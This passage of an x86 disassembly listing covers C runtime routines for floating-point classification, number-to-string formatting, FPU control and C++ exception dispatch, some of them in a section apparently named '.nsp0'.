		jmp	short loc_421569
; ---------------------------------------------------------------------------


loc_421552:				; CODE XREF: sub_421516+36j
		cmp	cx, 7FF0h
		jnz	short loc_42156C
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_421567
		cmp	[ebp+arg_0], edx
		jz	short loc_42156C


loc_421567:				; CODE XREF: sub_421516+4Aj
		push	4


loc_421569:				; CODE XREF: sub_421516+15j
					; sub_421516+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42156C:				; CODE XREF: sub_421516+41j
					; sub_421516+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_421516	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421570(double, int)

sub_421570	proc near		; CODE XREF: sub_4211C4+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_427858
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_421590
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_421626
; ---------------------------------------------------------------------------


loc_421590:				; CODE XREF: sub_421570+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_4215FF
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_4215A8
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_4215FF


loc_4215A8:				; CODE XREF: sub_421570+31j
		fld	[ebp+arg_0]
		fcomp	dbl_427858
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_4215C0
		push	1
		pop	eax
		jmp	short loc_4215C2
; ---------------------------------------------------------------------------


loc_4215C0:				; CODE XREF: sub_421570+49j
		xor	eax, eax


loc_4215C2:				; CODE XREF: sub_421570+4Ej
					; sub_421570+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_4215DB
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_4215D5
		or	dword ptr [ebp+arg_0+4], 1


loc_4215D5:				; CODE XREF: sub_421570+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_4215C2
; ---------------------------------------------------------------------------


loc_4215DB:				; CODE XREF: sub_421570+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_4215E9
		or	byte ptr [ebp+arg_0+7],	80h


loc_4215E9:				; CODE XREF: sub_421570+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_4214ED
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_421626
; ---------------------------------------------------------------------------


loc_4215FF:				; CODE XREF: sub_421570+28j
					; sub_421570+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_4214ED
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_421626:				; CODE XREF: sub_421570+1Bj
					; sub_421570+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_421570	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421631	proc near		; CODE XREF: sub_420F11+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_421631	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42163F	proc near		; CODE XREF: sub_420F11+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_42163F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42164E	proc near		; CODE XREF: sub_41CD19+13p
					; sub_41CD19+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_42164E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421671	proc near		; CODE XREF: sub_4211C4+1Dp
					; sub_4211C4+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_421688
		fld	tbyte_442AF0
		fistp	[ebp+arg_0]
		wait


loc_421688:				; CODE XREF: sub_421671+Bj
		test	cl, 8
		jz	short loc_42169D
		fstsw	ax
		fld	tbyte_442AF0
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_42169D:				; CODE XREF: sub_421671+1Aj
		test	cl, 10h
		jz	short loc_4216AC
		fld	tbyte_442AFC
		fstp	[ebp+var_8]
		wait


loc_4216AC:				; CODE XREF: sub_421671+2Fj
		test	cl, 4
		jz	short loc_4216BA
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_4216BA:				; CODE XREF: sub_421671+3Ej
		test	cl, 20h
		jz	short locret_4216C5
		fldpi
		fstp	[ebp+var_8]
		wait

locret_4216C5:				; CODE XREF: sub_421671+4Cj
		leave
		retn
sub_421671	endp


; =============== S U B	R O U T	I N E =======================================



sub_4216C7	proc near		; CODE XREF: sub_41CDE8+Fp
		push	30000h
		push	10000h
		call	sub_423EB5
		pop	ecx
		pop	ecx
		retn
sub_4216C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4216D9	proc near		; CODE XREF: sub_421717:loc_42173Bj

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_427868
		fstp	[ebp+var_8]
		fld	dbl_427860
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_427718
		fnstsw	ax
		sahf
		jbe	short loc_421713
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_421713:				; CODE XREF: sub_4216D9+33j
		xor	eax, eax
		leave
		retn
sub_4216D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_421717	proc near		; CODE XREF: sub_41CDE8+5p
		push	offset aKernel32 ; "KERNEL32"
		call	near ptr 0B40000h
		cmp	eax, 1574C085h
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		call	dword_4270BC
		test	eax, eax
		jz	short loc_42173B
		push	0
		call	eax ; sub_41CDE8
		retn
; ---------------------------------------------------------------------------


loc_42173B:				; CODE XREF: sub_421717+1Dj
		jmp	sub_4216D9
sub_421717	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_421740	proc near		; DATA XREF: sub_41CE00+1Eo

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_41DE1C
		cmp	eax, 65h
		pop	ecx
		jz	short loc_421780


loc_421754:				; CODE XREF: sub_421740+3Ej
		inc	esi
		cmp	dword_44276C, 1
		jle	short loc_42176D
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41F37A
		pop	ecx
		pop	ecx
		jmp	short loc_42177C
; ---------------------------------------------------------------------------


loc_42176D:				; CODE XREF: sub_421740+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_442560
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_42177C:				; CODE XREF: sub_421740+2Bj
		test	eax, eax
		jnz	short loc_421754


loc_421780:				; CODE XREF: sub_421740+12j
		mov	cl, byte_442770
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_42178B:				; CODE XREF: sub_421740+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_42178B
		pop	esi
		retn
sub_421740	endp

; ---------------------------------------------------------------------------


loc_42179A:				; DATA XREF: sub_41CE00+5o
		mov	eax, [esp+4]
		mov	dl, byte_442770
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_4217B6


loc_4217AA:				; CODE XREF: .nsp0:004217B4j
		cmp	cl, dl
		jz	short loc_4217B6
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_4217AA


loc_4217B6:				; CODE XREF: .nsp0:004217A8j
					; .nsp0:004217ACj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_4217E7


loc_4217BD:				; CODE XREF: .nsp0:004217CEj
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_4217D0
		cmp	cl, 65h
		jz	short loc_4217D0
		cmp	cl, 45h
		jz	short loc_4217D0
		inc	eax
		jmp	short loc_4217BD
; ---------------------------------------------------------------------------


loc_4217D0:				; CODE XREF: .nsp0:004217C1j
					; .nsp0:004217C6j ...
		mov	ecx, eax


loc_4217D2:				; CODE XREF: .nsp0:004217D6j
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_4217D2
		cmp	[eax], dl
		jnz	short loc_4217DD
		dec	eax


loc_4217DD:				; CODE XREF: .nsp0:004217DAj
					; .nsp0:004217E5j
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_4217DD

locret_4217E7:				; CODE XREF: .nsp0:004217BBj
		retn
; ---------------------------------------------------------------------------


loc_4217E8:				; DATA XREF: sub_41CE00+28o
		mov	eax, [esp+4]
		fld	qword ptr [eax]
		fcomp	dbl_427858
		fnstsw	ax
		sahf
		jb	short loc_4217FD
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4217FD:				; CODE XREF: .nsp0:004217F7j
		xor	eax, eax
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421800	proc near		; DATA XREF: sub_41CE00+14o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_421829
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_424378
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_421829:				; CODE XREF: sub_421800+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_4243A5
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_421800	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42183E	proc near		; CODE XREF: sub_421ABB+17p
					; sub_421B05+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_4E158C, 0
		push	ebx
		push	esi
		jz	short loc_421873
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4E1588
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_421B56
		pop	ecx
		pop	ecx
		jmp	short loc_4218AB
; ---------------------------------------------------------------------------


loc_421873:				; CODE XREF: sub_42183E+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_424449
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_4243D2
		add	esp, 14h


loc_4218AB:				; CODE XREF: sub_42183E+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_4218B7
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_4218B7:				; CODE XREF: sub_42183E+73j
		test	ebx, ebx
		jle	short loc_4218CF
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_442770
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_4218CF:				; CODE XREF: sub_42183E+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_4E158C, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_41C550
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_4218F6
		mov	byte ptr [ecx],	45h


loc_4218F6:				; CODE XREF: sub_42183E+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_42193B
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_42190A
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_42190A:				; CODE XREF: sub_42183E+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_421921
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_421921:				; CODE XREF: sub_42183E+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_421938
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_421938:				; CODE XREF: sub_42183E+E7j
		add	[ecx+1], bl


loc_42193B:				; CODE XREF: sub_42183E+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_42183E	endp


; =============== S U B	R O U T	I N E =======================================



sub_421942	proc near		; CODE XREF: sub_421AE2+13p
					; sub_421B05+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_4E158C, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_42197D
		mov	eax, dword_4E1590
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4E1588
		cmp	eax, ebx
		jnz	short loc_4219AD
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_4219AD
; ---------------------------------------------------------------------------


loc_42197D:				; CODE XREF: sub_421942+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_424449
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_4243D2
		add	esp, 14h


loc_4219AD:				; CODE XREF: sub_421942+22j
					; sub_421942+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_4219BB
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_4219BB:				; CODE XREF: sub_421942+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_4219D2
		push	1
		push	edi
		call	sub_421B56
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_4219D4
; ---------------------------------------------------------------------------


loc_4219D2:				; CODE XREF: sub_421942+7Ej
		add	edi, eax


loc_4219D4:				; CODE XREF: sub_421942+8Ej
		test	ebx, ebx
		jle	short loc_421A19
		push	1
		push	edi
		call	sub_421B56
		mov	al, byte_442770
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_421A19
		cmp	byte_4E158C, 0
		jz	short loc_4219FE
		neg	esi
		jmp	short loc_421A04
; ---------------------------------------------------------------------------


loc_4219FE:				; CODE XREF: sub_421942+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_421A06


loc_421A04:				; CODE XREF: sub_421942+BAj
		mov	ebx, esi


loc_421A06:				; CODE XREF: sub_421942+C0j
		push	ebx
		push	edi
		call	sub_421B56
		push	ebx
		push	30h
		push	edi
		call	sub_41BC40
		add	esp, 14h


loc_421A19:				; CODE XREF: sub_421942+94j
					; sub_421942+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_421942	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421A20	proc near		; CODE XREF: sub_421B05+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_424449
		mov	dword_4E1588, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_4E1590, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_4243D2
		mov	eax, dword_4E1588
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_4E1590, ecx
		setl	cl
		mov	byte_4E1594, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_4E1590, eax
		jl	short loc_421AA6
		cmp	eax, ebx
		jge	short loc_421AA6
		test	cl, cl
		jz	short loc_421A97


loc_421A8D:				; CODE XREF: sub_421A20+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_421A8D
		and	[esi-2], al


loc_421A97:				; CODE XREF: sub_421A20+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421AE2
		add	esp, 0Ch
		jmp	short loc_421AB6
; ---------------------------------------------------------------------------


loc_421AA6:				; CODE XREF: sub_421A20+63j
					; sub_421A20+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421ABB
		add	esp, 10h


loc_421AB6:				; CODE XREF: sub_421A20+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_421A20	endp


; =============== S U B	R O U T	I N E =======================================



sub_421ABB	proc near		; CODE XREF: sub_421A20+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_4E158C, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_42183E
		and	byte_4E158C, 0
		add	esp, 10h
		retn
sub_421ABB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421AE2	proc near		; CODE XREF: sub_421A20+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_4E158C, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_421942
		and	byte_4E158C, 0
		add	esp, 0Ch
		retn
sub_421AE2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421B05	proc near		; DATA XREF: sub_41CE00o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_421B40
		cmp	[ebp+arg_8], 45h
		jz	short loc_421B40
		cmp	[ebp+arg_8], 66h
		jnz	short loc_421B2D
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421942
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421B2D:				; CODE XREF: sub_421B05+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421A20
		jmp	short loc_421B51
; ---------------------------------------------------------------------------


loc_421B40:				; CODE XREF: sub_421B05+7j
					; sub_421B05+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_42183E


loc_421B51:				; CODE XREF: sub_421B05+39j
		add	esp, 10h
		pop	ebp
		retn
sub_421B05	endp


; =============== S U B	R O U T	I N E =======================================



sub_421B56	proc near		; CODE XREF: sub_42183E+2Cp
					; sub_421942+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_421B79
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_41B890
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_41D330
		add	esp, 10h
		pop	esi


loc_421B79:				; CODE XREF: sub_421B56+7j
		pop	edi
		retn
sub_421B56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421B7B	proc near		; CODE XREF: .nsp0:0041CFE0p
					; sub_41D049+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_421B91
		call	sub_422422


loc_421B91:				; CODE XREF: sub_421B7B+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_421BB9
		cmp	dword ptr [esi+4], 0
		jz	short loc_421C0F
		cmp	[ebp+arg_14], 0
		jnz	short loc_421C0F
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_421EC2
		add	esp, 10h
		jmp	short loc_421C0F
; ---------------------------------------------------------------------------


loc_421BB9:				; CODE XREF: sub_421B7B+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_421C0F
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_421BF3
		cmp	[eax+14h], edi
		jbe	short loc_421BF3
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_421BF3
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_421C12
; ---------------------------------------------------------------------------


loc_421BF3:				; CODE XREF: sub_421B7B+4Aj
					; sub_421B7B+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_421C16
		add	esp, 20h


loc_421C0F:				; CODE XREF: sub_421B7B+23j
					; sub_421B7B+29j ...
		push	1
		pop	eax


loc_421C12:				; CODE XREF: sub_421B7B+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_421B7B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421C16	proc near		; CODE XREF: sub_421B7B+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_421C36
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_421C3B


loc_421C36:				; CODE XREF: sub_421C16+16j
		call	sub_422422


loc_421C3B:				; CODE XREF: sub_421C16+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_421D92
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421CAF
		cmp	[esi+14h], edi
		jnz	short loc_421CAF
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421CAF
		mov	esi, dword_4E1598
		test	esi, esi
		jz	loc_421D8D
		mov	eax, dword_4E159C
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_4245D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_421C91
		call	sub_422422


loc_421C91:				; CODE XREF: sub_421C16+74j
		cmp	[esi], ebx
		jnz	loc_421D92
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421CAF
		cmp	[esi+14h], edi
		jnz	short loc_421CAF
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421CAF
		call	sub_422422


loc_421CAF:				; CODE XREF: sub_421C16+41j
					; sub_421C16+46j ...
		cmp	[esi], ebx
		jnz	loc_421D92
		cmp	dword ptr [esi+10h], 3
		jnz	loc_421D92
		cmp	[esi+14h], edi
		jnz	loc_421D92
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41D197
		add	esp, 14h
		mov	ebx, eax


loc_421CE6:				; CODE XREF: sub_421C16+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_421D7D
		cmp	[ebx], edi
		jg	short loc_421D72
		cmp	edi, [ebx+4]
		jg	short loc_421D72
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_421D6F


loc_421D0B:				; CODE XREF: sub_421C16+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_421D3C


loc_421D1D:				; CODE XREF: sub_421C16+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_421E65
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421D4B
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_421D1D


loc_421D3C:				; CODE XREF: sub_421C16+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_421D0B
		jmp	short loc_421D6F
; ---------------------------------------------------------------------------


loc_421D4B:				; CODE XREF: sub_421C16+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_421F76
		add	esp, 2Ch


loc_421D6F:				; CODE XREF: sub_421C16+F3j
					; sub_421C16+133j
		mov	edi, [ebp+var_10]


loc_421D72:				; CODE XREF: sub_421C16+DEj
					; sub_421C16+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_421CE6
; ---------------------------------------------------------------------------


loc_421D7D:				; CODE XREF: sub_421C16+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_421D8D
		push	1
		push	esi
		call	sub_4222EB
		pop	ecx
		pop	ecx


loc_421D8D:				; CODE XREF: sub_421C16+56j
					; sub_421C16+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_421D92:				; CODE XREF: sub_421C16+37j
